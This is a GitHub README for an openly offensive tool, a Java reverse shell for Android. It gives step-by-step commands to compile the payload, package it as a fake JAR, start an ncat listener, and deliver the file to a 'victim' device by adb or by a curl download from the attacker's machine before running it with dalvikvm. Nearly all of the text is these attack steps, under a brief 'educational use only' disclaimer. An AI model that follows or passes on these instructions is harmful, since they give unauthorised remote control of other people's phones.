Skip to content

README.md

Latest commit

 

History

History
43 lines (25 loc) · 1.27 KB

README.md

File metadata and controls

43 lines (25 loc) · 1.27 KB

Java Android Reverse Shell with SSL Support

Original Tutorial: https://malacupa.com/2018/10/25/android-command-line-reverse-shell.html

UPDATED WITH SSL SUPPORT https://github.com/CalfCrusher/JavaAndroidReverseShell/tree/main/SSL

On Attacker machine - Linux -

(you need android sdk installed and build-tools also)

Compile Java source code to bytecode (if fails for "class error not supported", change the release!)

javac --release 17 AndroidReverseShell.java

Convert to DEX format

~/Library/Android/sdk/build-tools/33.0.0/d8 AndroidReverseShell.class

Create fake JAR file

zip reverse.jar classes.dex

Set Listener (USE NCAT!)

ncat -nlvp 1337

On Victim device - Android -

adb push reverse.jar /sdcard (if Android Debug Tools is enabled)

or you can just curl

curl http://attackingmachine:9999/reverse.jar -o /sdcard/reverse.jar

and then run the reverse shell using dalvikvm from Termux:

cd /system/bin/ && ./dalvikvm -cp /sdcard/reverse.jar AndroidReverseShell

Todo

Support for SSL encryption
Bash Script to automatize everything

Disclaimer:

For educational use only !

Java code was taken from https://gist.github.com/malacupa/3a98285ad67c98386f7e798b25ef808c#file-reverseshell-java. All credits goes to original developer